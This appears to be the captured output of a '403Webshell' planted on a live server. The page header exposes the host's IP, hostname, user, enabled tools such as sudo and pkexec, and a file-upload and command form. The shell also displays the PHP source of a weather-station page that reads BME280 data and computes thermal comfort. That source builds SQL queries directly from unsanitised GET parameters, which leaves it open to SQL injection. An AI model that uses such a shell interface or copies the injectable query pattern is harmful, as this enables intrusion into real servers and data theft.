403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/lesson/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/lesson/list_1.php
<!DOCTYPE 

html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> <meta http-equiv="refresh" content="5" /> 
<title>Untitled Document</title>
<style>
	h1 {
		color: green;
		font-family: verdana;
		font-size: 200%;
}
</style>
</head>
<body style = "background-color: beige;"></body>
<body> 	
<h1 style="text-align:center">RASIN OFFICE - ATMOSPHERIC DATA</h1>

<?php

// session_start();

include 'configconn.php';
include 'opendbconn.php';
include ("utility.php");


			$date1 = $_GET["date1"];
			$date2 = $_GET["date2"];
			$newUtility = new Utility();
		?>
			<table align="center" width="700">
					<tr bgcolor="#008000" style="color:white" align="center">
						<th>
							Redni broj
						</th>
						<th>
							Vreme merenja
						</th>
						<th>
							Atmosferski pritisak (mbar)
						</th>

						<th>
							Temperatura (ÂșC)
						</th>

						<th>
							Relativna vlaznost (%)
						</th>
			                        <th>
							Nadmorska visina (m)
			                        </th>
					</tr>
			<?php
			if ($date1 == "")
			{
				$date=date('d-m-Y');
				//echo "<br>"; echo "Izmereni podaci za dan: ";
	//			$date=date('Y-m-d H:i:s');
	$dateR = $newUtility->rotateDateFormat($date);
				//echo "<b>"; echo $dateR; echo "</b>"; echo "</br>";
				$set_select_sql = "Select * from bme280 where time>='" . $date . "' order by time desc;";
			}else{
				if ($date2 == "")
				{
					echo "<br>Podaci za period posle: ";
					echo "<b>"; echo $date1; echo "</b>"; echo "</br>";
					$date1R = $newUtility->rotateDateFormat($date1);
					$set_select_sql = "Select * from bme280 where time>='" . $date1R . "' order by time asc;";
				}else
				{
					echo "<br>Podaci za period od ";
					echo "<b>"; echo $date1; echo "</b>";
					echo " do ";
					echo "<b>"; echo $date2; echo "</b>"; echo "</br>";
					$newUtility = new Utility();
					$date1R = $newUtility->rotateDateFormat($date1);
					$date2R = $newUtility->rotateDateFormat($date2);
                                        $date2R = date('Y-m-d H:i:s', strtotime($date2R . ' + 1 day'));  
					$set_select_sql = "Select * from bme280 where time>='" . $date1R . "' and time<='" . $date2R . "' order by time asc;";
				}
			}
				$row_color = false;
				//$set_query = mysqli_query($set_select_sql);
				$set_query = $con->query($set_select_sql);
				//echo $set_query;
				$id_number=0;
				while($node_name_row = mysqli_fetch_array($set_query)) {
					$id_number = $id_number+1;
					$time = $node_name_row['time'];
                                        $pressure = $node_name_row['pressure'];
					$temperature = $node_name_row['temperature'];
					$rel_humidity = $node_name_row['rel_humidity'];
					$altitude = $node_name_row['altitude'];
					$pmvA=0;
					$ppdA=0;
					$pmvA=pmv_ppd($temperature,$rel_humidity);
					if ($row_color){
						echo "<tr bgcolor=\"#9ad1f8\" align=\"center\">";
						}else {
						echo "<tr bgcolor=\"#cee7f9\" align=\"center\">";
						}
						echo "<td>";
							echo $id_number;
						echo "</td>";
						echo "<td>";
							echo $time;
						echo "</td>";
						echo "<td>";
							echo $pressure;
						echo "</td>";
						echo "<td>";
							echo $temperature;
						echo "</td>";
						echo "<td>";
							echo $rel_humidity;
						echo "</td>";
						echo "<td>";
							echo $altitude;
						echo "</td>";
					echo "</tr>";
					$row_color = !$row_color;
				}
				echo "</table>";

	$status=0;

include 'closedbconn.php';



function pmv_ppd($temperature,$rel_humidity){

//Data enrty
$CLO=1;  //Clothing (clo)
$MET=1.1;  //Methabolic rate (met)
$WME=0;  //External work, normally around 0 (met)
$TA=$temperature;  //Air temperature (C)
$TR=23.9;  //Mean radiant temperature (C)
$VEL=0.1;  //Relative air velocity (m/s)
$RH=$rel_humidity;  //Relative humidity (//)

$FNPS=exp(16.6536-4030.183/($TA+235)); //Saturated vapour pressure kPa
$PA=$RH*10*$FNPS;                      //Water vapour pressure Pa
$ICL=0.155*$CLO;                       //Thermal insulation of the clothnig in m2K/W
$M=$MET*58.15;                         //Metabolic rate in W/m2
$W=$WME*58.15;                         //External work in W/m2
$MW=$M-$W;                              //Internal heat production of human body
if ($ICL<0.078)
    $FCL=1+1.29*$ICL;                  //Clothing area factor
else
    $FCL=1.05+0.645*$ICL;
$HCF=12.1*pow($VEL,2);                  //Heat transfer coefficient by forced convection
$TAA=$TA+273;                          //Air temperature in Kelvins
$TRA=$TR+273;                          //Mean radiant temperature in Kelvins


//Calculate surface temperature of clothing by iteration
$TCLA=$TAA+(35.5-$TA)/(3.5*(6.45*$ICL+0.1));
//first guess for surface temperature od clothing
$P1=$ICL*$FCL;
$P2=$P1*3.96;
$P3=$P1*100;
$P4=$P1*$TAA;
$P5=308.7-0.0288*$MW+$P2*pow($TRA/100,4);
$XN=$TCLA/100;
$XF=0;
$N=0;                                //Number of iterations
$EPS=0.00015;                        //Stop criteria in iterations


//Iterations 
$flag = 1;
while ($flag == 1)
{
$XF=($XF+$XN)/2;                        //Heat transfer coefficient by natural convection
$HCN=2.38*pow(abs(100*$XF-$TAA),0.25);
if ($HCF>$HCN)
    $HC=$HCF;
else
    $HC=$HCN;
$XN=($P5+$P4*$HC-$P2*pow($XF,4))/(100+$P3*$HC);
$N=$N+1;
if ($N>150) 
    break;
if (abs($XN-$XF)<=$EPS)
     $flag = 0;
}

//If loop breaks from N>150 flag is set to true
if ($flag==0)
{
    $TCL=100*$XN-273;                     //Surface temperature of the clothing
    //Heat loss components
    $HL1=3.05*0.001*(5733-6.99*$MW-$PA);  //Heat loss difference through skin
    if ($MW>58.15)                      //Heat loss by sweating (comfort)
        $HL2=0.42*($MW-58.15);
    else
        $HL2=0;
    $HL3=1.7*0.00001*$M*(5867-$PA);     //Latent respiration heat loss
    $HL4=0.0014*$M*(34-$TA);            //Dry respiration heat loss
    $HL5=3.96*$FCL*(pow($XN,4)-pow($TRA/100,4)); //Heat loss by radiation
    $HL6=$FCL*$HC*($TCL-$TA);             //Heat loss by convection

    //Calculate PMV and PPD
    $TS=0.303*exp(-0.036*$M)+0.028;    //Thermal sensation transformation coefficient
    $PMV=$TS*($MW-$HL1-$HL2-$HL3-$HL4-$HL5-$HL6); //Predicted mean vote
    $PPD=100-95*exp(-0.03353*pow($PMV,4)-0.2179*pow($PMV,2));
}
else
{
    $PMV=99999;
    $PPD=100;
}

return $PMV;

}

?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit